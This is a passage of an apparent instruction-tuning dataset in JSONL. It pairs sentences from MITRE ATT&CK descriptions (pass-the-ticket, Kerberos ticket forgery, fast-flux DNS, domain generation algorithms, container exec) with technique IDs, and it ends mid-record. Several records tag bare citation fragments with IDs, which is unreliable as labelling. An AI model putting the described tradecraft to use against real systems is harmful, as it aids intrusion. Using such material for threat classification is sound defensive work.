mine valuable information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage information repositories to mine valuable information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Confluence repositories to mine valuable information.", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Confluence repositories to mine valuable information. ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources", "output": "T1213.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources ### Response: T1213.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos authentication can be used as the first step to lateral movement to a remote system.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos authentication can be used as the first step to lateral movement to a remote system. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation:", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Campbell 2014)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Campbell 2014) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse a container administration service to execute commands within a container.", "output": "T1609", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse a container administration service to execute commands within a container. ### Response: T1609."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)", "output": "T1609", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) ### Response: T1609."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)", "output": "T1609", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell) ### Response: T1609."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many command shell utilities can be used to obtain this information.", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many command shell utilities can be used to obtain this information. ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation:", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Commands JPCERT)", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Commands JPCERT) ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)", "output": "T1083", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A) ### Response: T1083."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains.", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter.", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net).", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc).", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Akamai DGA Mitigation)", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Akamai DGA Mitigation) ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address.", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation:", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides 